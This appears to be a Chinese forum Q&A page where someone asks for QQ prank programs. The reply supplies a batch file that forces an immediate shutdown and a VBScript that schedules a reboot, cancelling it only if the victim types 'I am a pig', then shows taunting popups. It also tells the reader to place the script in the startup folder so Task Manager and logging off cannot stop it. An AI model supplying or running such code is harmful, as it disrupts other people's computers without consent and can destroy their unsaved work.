谁有qq整人小程序吗

谁有qq整人小程序吗

建立一个记事本，在里面输入shutdown -s -f -t -10
保存，然后把后缀改成BAT。运行后10秒之后关机，10是可变值，表示倒计时的关机时间多少秒

整人小程序：说我是猪就不关机 程序, 整人 on error resume next dim wshshella set wshshella = wscript.createobject("wscript.shell") wshshella.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是猪”，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"msgbox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim wshshell set wshshell = wscript.createobject("wscript.shell") wshshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾" msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听话啊" msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃" msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊" msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？" msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊" msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事" msgbox chr(13) + chr(13) + chr(13) + "从前有个山" msgbox chr(13) + chr(13) + chr(13) + "山里有个庙" msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚" msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事" msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢" msgbox chr(13) + chr(13) + chr(13) + "故事是这样的" msgbox chr(13) + chr(13) + chr(13) + "从前有个山" msgbox chr(13) + chr(13) + chr(13) + "山里有个庙" msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚" msgbox chr(13) + chr(13) + chr(13) + "什么，不听了" msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！" 复制代码一个整人的小代码，“说我是猪就不关机” 把上面的代码复制到记事本里，把后缀名改成.vbe 把它放到开始启动里 别人就算调出任务管理器也关不掉 注销也不行